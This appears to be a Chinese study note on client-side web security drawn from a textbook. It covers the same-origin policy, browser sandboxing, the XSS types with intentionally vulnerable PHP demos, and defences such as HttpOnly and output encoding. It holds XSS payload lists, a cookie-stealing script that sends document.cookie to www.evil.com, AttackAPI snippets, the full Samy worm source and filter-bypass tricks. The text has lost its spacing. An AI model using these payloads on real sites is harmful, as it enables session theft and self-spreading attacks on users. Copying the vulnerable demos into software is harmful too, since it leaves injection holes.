客户端脚本安全
白帽子讲web安全
————
a.了解web安全测试的基本知识
b.掌握前端的脚本安全知识,了解基本的前端安全测试条目,如同源策略、xss攻击测试、CSRF测试、点击劫持测试
c.webinsepctnessus绿盟扫描
数据流输入输出
浏览器安全
同源策略
同源策略是一个重要的安全策略,它用于限制一个origin的文档或者它加载的脚本如何能与另一个源的资源进行交互。它能帮助阻隔恶意文档,减少可能被攻击的媒介
Web内容的Origin源由用于访问它的URL的方案(协议),主机(域名)和端口定义。只有当方案,主机和端口都匹配时,两个对象具有相同的起源。
某些操作仅限于同源内容,而可以使用CORS解除这个限制
同源的定义:如果两个URL的protocol、port和host都相同的话,则这两个URL是同源。这个方案也被称为“协议/主机/端口元组”,或者直接是“元组”。(“元组”是指一组项目构成的整体,双重/三重/四重/五重/等的通用形式)。
对于使用IP地址连接到网络的计算机,端口是通信端点。端口由数字指定,低于1024的每个端口默认与特定协议相关联。
IP地址是分配给连接到使用Internet协议的网络的每个设备的编号。
“IP地址”通常仍指32位IPv4地址,直到更广泛地部署IPv6。
主机(host)是一种连接到Internet(或者一个本地网络)的设备。有一些被称作servers(服务器)的主机可以提供额外的服务,如:提供网页、存储文件以及电子邮件。
主机不需要具有一个硬件上的实体,它可以由虚拟机产生。由虚拟机产生的主机也叫作“虚拟主机”。
例如,HTTP协议的默认端口是80,HTTPS协议的默认端口是443,因此HTTP服务器等待这些端口上的请求。每个Internet协议都与一个默认端口相关联:SMTP(25)、POP(110)、IMAP(143)、IRC(194)等等。
下表给出了与URLhttp://store.company.com/dir/page.html
的源进行对比的示例:
注意:对于当前页面,页面内存放JavaScript文件的域并不重要,重要的是加载Javascript页面所在的域是什么
#a.com<scriptsrc=http://b.com/b.js></script>12a.com加载了b.com的b.js,b.js运行在a.com上,于是b.js的源就应该是a.com
不受同源策略限制的:
1、页面中的链接,重定向以及表单提交是不会受到同源策略限制的。
2、跨域资源的引入是可以的。但是js不能读写加载的内容。如嵌入到页面中的<scriptsrc="https://blog.csdn.net/flowerqt/article/details/..."></script>,<img>,<link>,<iframe>
等。
跨域
受浏览器同源策略的影响,不是同源的脚本不能操作其他源下面的对象。想要操作另一个源下的对象是就需要跨域。
跨域的实现方式:
降域document.domain
同源策略认为域和子域属于不同的域,如:
child1.a.com与a.com,
child1.a.com与child2.a.com,
xxx.child1.a.com与child1.a.com
两两不同源,可以通过设置document.damain=‘a.com’,浏览器就会认为它们都是同一个源。想要实现以上任意两个页面之间的通信,两个页面必须都设置documen.damain=‘a.com’。
此方式的特点:- 只能在父域名与子域名之间使用,且将xxx.child1.a.com域名设置为a.com后,不能再设置成child1.a.com。
- 存在安全性问题,当一个站点被攻击后,另一个站点会引起安全漏洞。
- 这种方法只适用于Cookie和iframe窗口。
JSONP跨域
JSONP的原理:(举例:a.com/jsonp.html想得到b.com/main.js中的数据)在a.com的jsonp.html里创建一个回调函数xxx,动态添加
浏览器沙箱
挂马:在网页中插入一段恶意代码,然后利用浏览器漏洞来执行任意代码。它是浏览器所面对的一种主要的威胁。
浏览器为了应对“挂马”威胁,从单进程架构转变为多进程架构。浏览器的多进程架构,会分开浏览器的各个功能模块。这样当一个浏览器进程崩溃时,也不会影响到其他的浏览器进程。
Chrome:包含浏览器进程、渲染进程、插件进程以及扩展进程。插件进程,比如flash、java等进程会与浏览器进程严格隔离:
渲染进程被沙箱(Sandbox)隔离,网页web代码内容必须通过IPC通道才能与浏览器内核进程通信,通信过程会进行安全的检查。
沙箱设计的目的是为了让不可信的代码运行在一定的环境中,从而限制这些代码访问隔离区之外的资源。如果因为某种原因,确实需要访问隔离区外的资源,那么就必须通过的指定的通道,这些通道会进行严格的安全检查,来判断请求的合法性。通道会采取默认拒绝的策略,一般采用封装API的方式来实现。
恶意网址拦截
恶意网址分为两类:
- 挂马网站-黑客会在网页中插入一段恶意脚本(JavaScript或Flash),然后利用浏览器漏洞来执行恶意代码(shellcode)。shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。
- 钓鱼网站和诈骗网站,也属于一种恶意网址。它是通过模仿知名网站页面来欺骗用户。
因此,为了保护用户安全,浏览器厂商就推出了各自的拦截恶意网址功能。拦截恶意网址功能大都是基于黑名单机制来实现的。
拦截机制:
恶意网址拦截机制是这样的:浏览器会周期性的从服务器获取一份最新的网址黑名单,如果访问的网址存在这个黑名单中,那么浏览器就会弹出一个警告页面,形如:
之所以不用基于页面特征的模型来辨别恶意网址,有以下这些原因:
- 这种模型如果放在客户端,那么就会让攻击者分析研究这个模型,并绕过定义的安全规则。
- 浏览器的用户基数巨大,需要分析的数据量过于庞大。
- 收集用户访问过的历史记录,是一种侵犯隐私的行为。
浏览器厂商一般会与专业的安全厂商合作,由安全厂商或者组织来提供恶意网址黑名单。
PhishTank是一个免费提供恶意网址黑名单的网站,黑名单是由志愿者提供的,更新频繁。
安全证书:主流浏览器支持EVSSL证书,以增强对安全网站的识别
跨站脚本攻击XSS
简介
跨站脚本攻击(CrossSiteScript为了区别于CSS简称为XSS)指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。
反射型XSS(非持久型跨站)
把用户输入的数据反射给浏览器。诱导用户点击恶意链接,才能攻击成功
发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传回给浏览器,最后浏览器解析执行XSS代码。这个过程像一次反射,故叫反射型XSS。
场景:xss.php
\\XSS反射演示<formaction=""method="get"><inputtype="text"name="xss"/><inputtype="submit"value="test"/></form><?php$xss=@$_GET['xss'];if($xss!==null){echo$xss;12345678910如果xss中存在HTML结构性的内容,打印之后会直接解释为HTML元素。
部署好这个文件,访问http://localhost/xss.php,直接输入一个js代码,比如
之后点击test:
输出的内容直接插入到了页面中,解释为
反射型XSS的数据流向是:浏览器->后端->浏览器。
存储型XSS(持久型跨站)
把用户输入的数据保存到浏览器
存储型XSS和反射型XSS的差别仅在于,提交的代码会存储在服务器端(数据库,内存,文件系统等),下次请求目标页面时不用再提交XSS代码
最典型的例子是留言板XSS,用户提交一条包含XSS代码的留言存储到数据库,目标用户查看留言板时,那些留言的内容会从数据库查询出来并显示,浏览器发现有XSS代码,就当做正常的HTML与Js解析执行,于是触发了XSS攻击。
场景:黑客写一篇包含恶意JS的文章,所有访问该文章的用户,都会在他们的浏览器中执行这段恶意代码
xss.php,同时数据库中需要配置相应的表
\\存储XSS演示<formaction=""method="post"><inputtype="text"name="xss"/><inputtype="submit"value="test"/></form><?php$xss=@$_POST['xss'];mysql_connect("localhost","root","123");mysql_select_db("xss");if($xss!==null){$sql="insertintotemp(id,payload)values('1','$xss')";$result=mysql_query($sql);echo$result;}1234567891011121314新建show.php,内容为:
mysql_connect("localhost","root","root");mysql_select_db("xss");$sql="selectpayloadfromtempwhereid=1";$result=mysql_query($sql);while($row=mysql_fetch_array($result)){echo$row['payload'];}1234567该代码从数据库读取了之前插入的内容,并将其显示出来。
先创建一个数据库xss,创建temp表
然后访问xss.php,像之前一样输入HTML代码
点击test,点击之后却发现没有任何动静,但事实上,我们的数据已经插入到了数据库中。
当我们访问show.php查询这个值的时候,代码就会被执行。
存储型XSS的执行位置通常不同于输入位置。存储行XSS的数据流向是:
浏览器->后端->数据库->后端->浏览器。
DOMBasedxss
DOM
DOM即文档对象模型,是W3C制定的标准接口规范,是一种处理HTML和XML文件的标准API。DOM提供了对整个文档的访问模型,将文档作为一个树形结构,树的每个结点表示了一个HTML标签或标签内的文本项。DOM树结构精确地描述了HTML文档中标签间的相互关联性。将HTML或XML文档转化为DOM树的过程称为解析(parse)。HTML文档被解析后,转化为DOM树,因此对HTML文档的处理可以通过对DOM树的操作实现。DOM模型不仅描述了文档的结构,还定义了结点对象的行为,利用对象的方法和属性,可以方便地访问、修改、添加和删除DOM树的结点和内容[1]。
API(web或XML页面)=DOMJS(脚本语言)
DOM树扩展
DOM树结点的属性包括标记名(nodeName)、结点类型(nodeType,取值为TagTxt)、结点内容(data)、父结点对象集合(parentNode)、子结点对象集合(firstChild,lastChild)、兄弟结点对象集合(previousSibling,nextSibling)等。对DOM树扩展的总体思路为:考虑HTML页面标签的类别,以及标签属性值对页面主题信息的影响,将这种影响纳入对页面内容要素的计算中,对DOM树结点进行语义扩展,同时引入结点影响度因子来刻画该结点在树中的重要程度。
DOM树结点语义扩展
为了增加DOM树结点与页面主题信息相关程度的语义信息,计算结点内容的重要度,将HTML标签的类别(Category)、非链接文字数(WordNum)、超链接数(LinkNum)、属性集(Attibution)和影响度因子(Influence)等属性添加到结点中,扩展其语义。HTML标签依据其作用可分为5类:
- 描述标题及页面概要信息的标签:如〈title〉、〈meta〉等。
- 规划网页布局的标签:如〈table〉、〈tr〉、〈td〉、〈p〉、〈div〉等,其作用是描述网页内容的布局结构。
- 描述显示特点的标签:如〈b〉、〈I〉、〈strong〉、〈h1〉-〈h6〉等,其作用是强调重点内容,引起人们注意。
- 超链接相关的标签,表示网页间的内容相关性信息。
- 其他标签,如设置图像的标签〈img〉,在文本提取时将忽略这类标签。
根据HTML标签在刻画网页特征时的语义功能,将DOM树结点分为6种类别:标题类(TITLE)、正文类(CONTENT)、视觉类(VISION)、分块类(BLOCK)、超链类(LINK)和其他类(OTHER),不同类的结点对Web信息提取的重要度不同。
- 标题类(TITLE):指HTML文档中标题标签的专有类别。
- 正文类(CONTENT):指包含网页正文内容的标签类别,如包含文字的〈td〉标签。
- 视觉类(VISION):指描述页面显示特性的标签类别,如〈b〉、〈strong〉等。
- 分块类(BLOCK):指用于网页内容分块的标签类别,如〈table〉、〈tr〉等。
- 超链类(LINK):指包含超链接的标签类别,如〈a〉。
- 其他类(OTHER):指不属于以上5种类别的标签类型。
以上6类结点对页面主题的重要度依次降低。
HTMLDOM树形结构:
DOM对象模型的四个基本接口
在DOM对象模型接口规范中,有四个基本的接口:Document,Node,NodeList以及NamedNodeMap。在这四个基本接口中,Document接口是对文档进行操作的入口,它是从Node接口继承过来的。Node接口是其他大多数接口的父类,象Documet,Element,Attribute,Text,Comment等接口都是从Node接口继承过来的。NodeList接口是一个节点的集合,它包含了某个节点中的所有子节点。NamedNodeMap接口也是一个节点的集合,通过该接口,可以建立节点名和节点之间的一一映射关系,从而利用节点名可以直接访问特定的节点。
1.Document接口
Document接口代表了整个XML/HTML文档*,因此,它是整棵文档树的根,提供了对文档中的数据进行访问和操作的入口。Document节点是DOM树中的根节点,也即对XML文档进行操作的入口节点。通过Docuemt节点,可以访问到文档中的其他节点,如处理指令、注释、文档类型以及XML文档的根元素节点等等。另外,从上图我们还可以看出,在一棵DOM树中,Document节点可以包含多个处理指令、多个注释作为其子节点,而文档类型节点和XML文档根元素节点都是唯一的。
2.Node接口
DOM对象模型接口中有很大一部分接口是从Node接口继承过来的,例如,Element、Attr、CDATASection等接口,都是从Node继承过来的。在DOM树中,Node接口代表了树中的一个节点。一个典型的Node接口如下图所示:
3.NodeList接口
NodeList接口提供了对节点集合的抽象定义,它并不包含如何实现这个节点集的定义。**NodeList用于表示有顺序关系的一组节点,比如某个节点的子节点序列。**另外,它还出现在一些方法的返回值中,例如GetNodeByName。
在DOM对象模型中,NodeList的对象是"live"的,换句话说,**对文档的改变,会直接反映到相关的NodeList对象中。**例如,如果通过DOM获得一个NodeList对象,该对象中包含了某个Element节点的所有子节点的集合,那么,当再通过DOM对Element节点进行操作(添加、删除、改动节点中的子节点)时,这些改变将会自动地反映到NodeList对象中,而不需DOM对象模型应用程序再做其他额外的操作。
NodeList中的每个item都可以通过一个索引来访问,该索引值从0开始。
4.NamedNodeMap接口
实现了NamedNodeMap接口的对象中包含了可以通过名字来访问的一组节点的集合。不过注意,NamedNodeMap并不是从NodeList继承过来的,它所包含的节点集中的节点是无序的。尽管这些节点也可以通过索引来进行访问,但这只是提供了枚举NamedNodeMap中所包含节点的一种简单方法,并不表明在DOM对象模型规范中为NamedNodeMap中的节点规定了一种排列顺序。
NamedNodeMap表示的是**一组节点和其唯一名字的一一对应关系,**这个接口主要用在属性节点的表示上。
与NodeList相同,在DOM中,NamedNodeMap对象也是"live"的。
DOMBasedXSS
通过修改页面的DOM节点形成的XSS,DOM(documentobjectmodel文档对象模型),客户端脚本处理逻辑导致的安全问题。
DOMXSS和反射型XSS、存储型XSS的差别在于DOMXSS的代码并不需要服务器参与,触发XSS靠的是浏览器端的DOM解析,完全是客户端的事情。
把xss.php内容改为
<?phperror_reporting(0);//禁用错误报告$name=$_GET["name"];?><inputid="text"type="text"value="<?phpecho$name;?>"/><divid="print"></div><scripttype="text/javascript">vartext=document.getElementById("text");varprint=document.getElementById("print");print.innerHTML=text.value;//获取text的值,并且输出在print内。这里是导致xss的主要原因。</script>12345678910111213DOM-XSS的数据流向是:URL–>浏览器
总结:在易用上,存储型XSS>DOM-XSS>反射型XSS。
注:反射型xss和dom-xss都需要在url加入js代码才能够触发。
XSS攻击
XSSPayload
xss攻击成功后,攻击者对用户当前浏览器页面植入恶意脚本。这些恶意脚本,被称为XSSPayload
XSSPayload实际就是JavaScript脚本
常用payload
- Script标签:
img标签
<imgsrc=xonerror=alert(1)><imgsrc=xonerror=prompt(1);><imgsrc=javascript:alert('1')>1 234
a标签
<ahref=”javascript:alert(1)”>点击触发</a><ahref="http://www.hacker.com">点击触发</a>1iframe标签
<iframesrc="javascript:alert(1)"><iframeonload=alert(1)>12其他标签:
<videosrc=xonerror=prompt(1);><audiosrc=xonerror=prompt(1);>12常用事件:
onclick:点击触发(<imgsrc=xonclick=alert(1)>)
onerror:当src加载不出来时触发(<imgsrc=xonerror=alert(1)>)
onload:当src加载完毕触发(<imgsrc=xonload=alert(1)>)
onmouseover:鼠标指针移动到图片后触发(<imgsrc=xonmouseover=alert(1)>)
onmousemove:鼠标指针移到指定的元素后触发(<imgsrc=xonmousemove=alert(1)>)
onfocus:当input输入框获取焦点时触发(<inputonfocus=javascript:alert(1)autofocus>)
常用属性:
src
action
href
data
content
javascript弹窗函数:
alert()
confirm()
prompt()
Cookie劫持
读取浏览器的cookie对象
- 攻击
1.黑客加载远程脚本
http://www.a.com/test.htm?abc="><scriptsrc=http://www.evil.com/evil.js></script>1XSSPayload写在远程脚本evil.js
varimg=document.createElement("img");img.src="http://www.evil.com/log?"escape(document.cookie);document.body.appendChild(img);123在页面中插入看不见的图片,把document.cookie作为对象发送到远程服务器
2.用户登入时,不小心点击这个链接时,则会把自身的cookie信息,投递给http://www.evil.com
防范
1.给Cookie添加HttpOnly属性,这种属性设置后,只能在http请求中传递,在脚本中,document.cookie无法获取到该Cookie值
2.**在cookie中添加校验信息,这个校验信息和当前用户外置环境有些关系,比如ip,useragent等有关.**这样当cookie被人劫持了,并冒用,但是在服务器端校验的时候,发现校验值发生了变化,因此要求重新登录
3.cookie中sessionid的定时更换,让sessionid按一定频率变换,同时对用户而言,该操作是透明的,这样保证了服务体验的一致性.
Session是另一种记录客户状态的机制,不同的是Cookie保存在客户端浏览器中,而Session保存在服务器上。客户端浏览器访问服务器的时候,服务器把客户端信息以某种形式记录在服务器上。这就是Session。客户端浏览器再次访问时只需要从该Session中查找该客户的状态就可以了。
如果说Cookie机制是通过检查客户身上的“通行证”来确定客户身份的话,那么Session机制就是通过检查服务器上的“客户明细表”来确认客户身份。Session相当于程序在服务器上建立的一份客户档案,客户来访的时候只需要查询客户档案表就可以了。
浏览器第一次访问服务器会在服务器端生成一个session,有一个sessionID和它对应,并返回给浏览器,这个sessionID会被保存在浏览器的会话cookie中
客户端只保存sessionID到cookie中,而不会保存session。session不会因为浏览器的关闭而删除,只能通过程序调用HttpSession.invalidate()或超时才能销毁。
构造GET&POST请求
一个网站的应用,只需要接受HTTP协议的GET&POST请求,即可完成所有操作。攻击者可以通过JavaScript脚本,让浏览器发起这两种请求。
GET
场景:删除文章
正常删除链接:
http://blog.sohu.com/manage/enter.do?m=delete&id=156713012
发起GET请求
**诱使?**文章作者执行JavaScript代码
POST
正常发出一条消息,浏览器会发出form表单
构造form表单,自动提交
通过XMLHttpRequest发送post请求
XSS钓鱼
场景:获取密码
利用Javascript在当前页面画出伪造的登录框,用户输入后,密码被发送到攻击者的服务器
识别用户浏览器
通过XSS读取userAgent对象:
alert(navigator.userAgent);
或者根据浏览器独有的对象分辨浏览器的差异,判断浏览器版本
识别用户安装的浏览器
收集创建软件的classid,扫描用户电脑中的软件列表
classID:(类标识符)也称为CLASSID或CLSID,是与某一个类对象相联系的唯一标记(UUID)。一个准备创建多个对象的类对象应将其CLSID注册到系统注册数据库的任务表中,以使客户能够定位并装载与该对象有关的可执行代码。
常用文件标识符
我的电脑{20D04FE0-3AEA-1069-A2D8-08002B30309D}
我的文档{450D8FBA-AD25-11D0-98A8-0800361B1103}
拨号网络{992CFFA0-F557-101A-88EC-00DD010CCC48}
控制面板{21EC2020-3AEA-1069-A2DD-08002B30309D}
计划任务{D6277990-4C6A-11CF-8D87-00AA0060F5BF}
打印机{2227A280-3AEA-1069-A2DE-08002B30309D}
记事本{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}
网络邻居{208D2C60-3AEA-1069-A2D7-08002B30309D}
回收站{645FF040-5081-101B-9F08-00AA002F954E}
获取用户真实IP
用户电脑使用代理服务器,网站上看到的客户端地址是内网的出口IP地址。
JavaScript本身没有提供获取本地IP地址的能力,但是可以通过调用第三方的接口如Javaapplet,获取ip地址
XSS攻击平台
将XSSpayload功能封装起来,成为XSS攻击平台,方便演示以及渗透测试使用。
AttackAPI
注入attackApi代码
在有XSS漏洞的地方插入以下代码:
<scriptsrc=”[你的载体网站域名]/attackapi/AttackAPI-standalone.js"></script>”//加载AttackApi库的全部JS代码
或者只加载要用到的JS代码,这样传输的js文件会小很多
<scriptsrc=”[你的载体网站域名]/attackapi/lib/dom/requestCSRF.js"></script>”//加载AttackApi库的requestCSRF代码
写自己的攻击代码
比如获取用户的Cookie,UA
varc=$A.getCookies();
varua=$A.getAgent();
AttackAPI.dom.getAgent=function(){varagent='';if(navigator.userAgent)agent=navigator.userAgent;elseif(navigator.vendor)agent=navigator.vendor;elseif(window.opera)agent='opera';agent=agent.toLowerCase();if(/webkit/.test(agent))return'safari';elseif(/opera/.test(agent))return'opera';elseif(/msie/.test(agent)&&!/opera/.test(agent))return'msie';elseif(/mozilla/.test(agent)&&!/(compatible|webkit)/.test(agent))return'mozilla';elsereturnnull;};1 2
3456789101112131415161718192021222324
构造一个CSRF请求
$A.requestCSRF({url:”[你的CSRF请求URL]”});
控制用户的浏览器
AttackApi有一个zombie模块,黑客向服务器发送消息,而受害者的浏览器定时去向服务器取消息,即可实现黑客操作受害者的浏览器。
BeEF
BeEF,全称TheBrowserExploitationFramework,是一款针对浏览器的渗透测试工具
主页:http://beefproject.com
xss攻击演示平台
XSS-Proxy
通过嵌套iframe的方式实时远程控制被攻击的浏览器
XSSworm
跨站脚本蠕虫(XSSWorm),实质上是一段脚本程序,通常用JavaScript或Vbscript写成,在用户浏览XSS页面时被激活。蠕虫利用站点页面的XSS漏洞根据其特定规则进行传播和感染。
蠕虫攻击流程
1、攻击者发现目标网站存在XSS漏洞,并且可以编写XSS蠕虫。
2、利用一个宿主(如博客空间)作为传播源头进行XSS攻击。
3、当其他用户访问被感染的空间时,XSS蠕虫执行以下操作。
•判断用户是否登录,如果已登录就执行下一步;如果没登录则执行其他操作。
•继续判断该用户是否被感染,如果没有就将其感染;如果已感染则跳过。
samyworm
MySpace过滤了很多危险的HTML标签,只保留了标签、标签、
标签等"安全的标签"。所有的事件比如"onclick"等也被过滤了。但是MySpace却允许用户控制标签的style属性,通过style,还是有办法构造出XSS的。比如:<divstyle-"background:url('javascript:alert(l)')">1
Myspace也过滤了“JavaScript”、“onreadystatechange"(XML-HTTP请求中必须)等敏感词,所以samy用了拆分法绕过这些限制…由于一些浏览器自动会把"java\nscript"(java和script间是换行符)当作"javascript",因此可以饶过这个问题
<divid="mycode"expr="alert('hah!')"style="background:url('javascript:eval(document.all.mycode.expr)')">1
为了能把这些代码放到浏览的用户的profile中,我们需要得到这个页面的源码。为了取得页面的源码,我们可以使用document.body.innerHTML,只需要取得访问此页面用户的ID即可。Myspace又一次考虑到了这些,他们在所有的地方都过滤了"innerHTML"。为了饶过这个限制,我们使用eval()把两个字符串拼成"innerHTML"。如:alert(eval('document.body.inne''rHTML'));
eval('xmlhttp.onread''ystatechange=callback');
最后,通过ajax构造的post请求,完成用户添加自己名字的功能,同时复制蠕虫自身进行传播
<divid=mycodestyle="BACKGROUND:url('javascript:eval(document.all.mycode.expr)')"expr="varB=String.fromCharCode(34);varA=String.fromCharCode(39);functiong(){varC;try{varD=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){returnC}else{returneval('document.body.inne''rHTML')}}functiongetData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}functiongetQueryParams(){varE=document.location.search;varF=E.substring(1,E.length).split('&');varAS=newArray();for(varO=0;O<F.length;O){varI=F[O].split('=');AS[I[0]]=I[1]}returnAS}varJ;varAS=getQueryParams();varL=AS['Mytoken'];varM=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'location.pathnamelocation.search}else{if(!M){getData(g())}main()}functiongetClientFID(){returnfindIn(g(),'up_launchIC('A,A)}functionnothing(){}functionparamsToString(AV){varN=newString();varO=0;for(varPinAV){if(O>0){N='&'}varQ=escape(AV[P]);while(Q.indexOf('')!=-1){Q=Q.replace('','+')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','&')}N=P'='Q;O}returnN}functionhttpSend(BH,BI,BJ,BK){if(!J){returnfalse}eval('J.onr''eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);returntrue}functionfindIn(BF,BB,BC){varR=BF.indexOf(BB)BB.length;varS=BF.substring(R,R1024);returnS.substring(0,S.indexOf(BC))}functiongetHiddenParameter(BF,BG){returnfindIn(BF,'name='BBGB'value='B,B)}functiongetFromURL(BF,BG){varT;if(BG=='Mytoken'){T=B}else{T='&'}varU=BG'=';varV=BF.indexOf(U)U.length;varW=BF.substring(V,V1024);varX=W.indexOf(T);varY=W.substring(0,X);returnY}functiongetXMLObj(){varZ=false;if(window.XMLHttpRequest){try{Z=newXMLHttpRequest()}catch(e){Z=false}}elseif(window.ActiveXObject){try{Z=newActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=newActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}returnZ}varAA=g();varAB=AA.indexOf('m''ycode');varAC=AA.substring(AB,AB4096);varAD=AC.indexOf('D''IV');varAE=AC.substring(0,AD);varAF;if(AE){AE=AE.replace('jav''a',A'jav''a');AE=AE.replace('exp''r)','exp''r)'A);AF='butmostofall,samyismyhero.<d''ivid='AE'D''IV>'}varAG;functiongetHome(){if(J.readyState!=4){return}varAU=J.responseText;AG=findIn(AU,'P''rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG=AF;varAR=getFromURL(AU,'Mytoken');varAS=newArray();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='AR,postHero,'POST',paramsToString(AS))}}}functionpostHero(){if(J.readyState!=4){return}varAU=J.responseText;varAR=getFromURL(AU,'Mytoken');varAS=newArray();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='AR,nothing,'POST',paramsToString(AS))}functionmain(){varAN=getClientFID();varBH='/index.cfm?fuseaction=user.viewProfile&friendID='AN'&Mytoken='L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='L,processxForm,'GET')}functionprocessxForm(){if(xmlhttp2.readyState!=4){return}varAU=xmlhttp2.responseText;varAQ=getHiddenParameter(AU,'hashcode');varAR=getFromURL(AU,'Mytoken');varAS=newArray();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='AddtoFriends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='AR,nothing,'POST',paramsToString(AS))}functionhttpSend2(BH,BI,BJ,BK){if(!xmlhttp2){returnfalse}eval('xmlhttp2.onr''eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);returntrue}"></DIV>1XSS构造技巧
利用字符编码
在一个
varredirectUrl="\";alert(/XSS/);"1<script>
标签中输出一个变量,其中转义了双引号:
一般来说这里是没有XSS漏洞的,因为变量位于双引号内,系统转义了双引号。但是百度的返回页面是GBK/GB2312编码的,因此"�"这两个字符被组合在一起会成为一个Unicode字符,在Firefox下会认为这是一个字符,所以构造:
//构造%c1";alert(/xss/);////页面返回效果varredirectUrl="�/";alert(/xss/);//"//redirectUrl的值特殊的字符alert(/xss/);被当做一条可执行的语句存在script标签中构成了xss12345"�“把转义字符”\"吃掉了,从而绕过检查实施XSS攻击。
绕过长度限制
存在xss漏洞的攻击点,服务端对该处有逻辑上的长度限制;在有限的长度限定内无法完成自己需要的xss语句构造
如果服务端对$var变量的长度设置了字符长度限制……攻击者可以利用事件Event来缩短自己xss的字符长度例如:
"onclick=alert(/xss/)1这时候也会鼠标触发事件导致xss的执行
最好的办法是把XSSPayload写到别处,再通过简短的代码加载这段XSSPayload。
使用location.hash
location.hash
是一个很好的藏代码的地方,他下载地址栏#符号后面,长度理论上没有限制而且HTTP协议中是不会计算该内容的……
当触发鼠标时间后,就会执行eval函数(执行js代码),调用location.hash的内容且从第一个字符开始(因为第0个字符是符号#)
特定环境注释绕过长度限制
xss测试环境下,有两个以及两个以上的可输入的文本框,则可以利用HTML的注释符特性,**将两个文本框之间的HTML代码内容全部注释,**最终将多个文本框之间连通在一起可以实现多字节长度的xssPayload的构造和使用……
使用<base>
标签
<base>
标签是一种用于定义HTML文档中定义的“相对路径”链接属性源地址的标签;通俗的说:
这是一个图片标签,使用的是相对地址,默认情况是从当前的位置寻找image文件夹一路追溯找到png图片,但是本地并没有这个png图片,这个图片是从一个图穿网站上找来的,但是没有使用绝对路径导致图片无法加载,而正有几百个img标签存在与这同样的问题;为了方便可以使用标签,定义:
<basehref="http://www.xxx.con/">1在这个标签之后的所有地址链接都会从这个网站开始构造成一个绝对路径进行追溯文件并加载……
攻击者可以在适当的地方加入<base>
标签,导致该标签后的所有链接地址重新定义追溯地址的起点位置,攻击者可以利用这个伪造图片、链接等等……这是一种链接地址劫持
XSS防御
XSS存在的根本原因是,对URL中的参数,对用户输入提交给webserver的内容,没有进行充分的过滤。如果我们能够在web程序中,对用户提交的URL中的参数,和提交的所有内容,进行充分的过滤,将所有的不合法的参数和输入内容过滤掉,那么就不会导致“在用户的浏览器中执行攻击者自己定制的脚本”。
XSS防御的总体思路是:对输入(和URL参数)进行过滤,对输出进行编码。
HttpOnly
XSS一般利用js脚步读取用户浏览器中的Cookie,而如果在服务器端对Cookie设置了HttpOnly属性,那么js脚本就不能读取到cookie,但是浏览器还是能够正常使用cookie。
HttpOnly是在set-cookie时标记的:
Set-Cookie:<name>=<value>[;<Max-Age>=<age>][;expires=<date>][;domain=<domain_name>][;path=<some_path>][;secure][;HttpOnly]123一般的Cookie都是从document对象中获得的,现在浏览器在设置Cookie的时候一般都接受一个叫做HttpOnly的参数,跟domain等其他参数一样,一旦这个HttpOnly被设置,你在浏览器的document对象中就看不到Cookie了,而浏览器在浏览的时候不受任何影响
输入检查
对输入和URL参数进行过滤(白名单和黑名单)
输入检查的逻辑,必须放在服务器端代码中实现。如果只是在客户端使用JavaScript进行输入检查,是很容易被攻击者绕过的。目前Web开发的普遍做法,是同时在客户端JavaScript中和服务器端代码中实现相同的输入检查。客户端JavaScript的输入检查,可以阻挡大部分误操作的用户,从而节约服务器资源。
注册用户名、电话、邮件的格式检查
输入检查一般是检查用户输入的数据是否有特殊字符,如<,>,',"等,如果存在字符过滤或者编码
XSSFilter:输入检查匹配XSS的特征,”
输出检查
在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击。
针对HTML代码的编码方式是HtmlEncode
HtmlEncode并非专有名词,它只是一种函数实现。它的作用是将字符转化成HTMLEntities。
为了对抗XSS,在HtmlEncode中要求至少转换一下字符:
&-->&
<--><
\>-->>
"-->"
'-->'
$apos;不推荐
/-->/
包含斜杠是因为它可能会闭合一些HTMLentity
在PHP中,有htmlentities()和htmlspecialchars()两个函数可以满足安全要求。
htmlspecialchars—将特殊字符转换为HTML实体
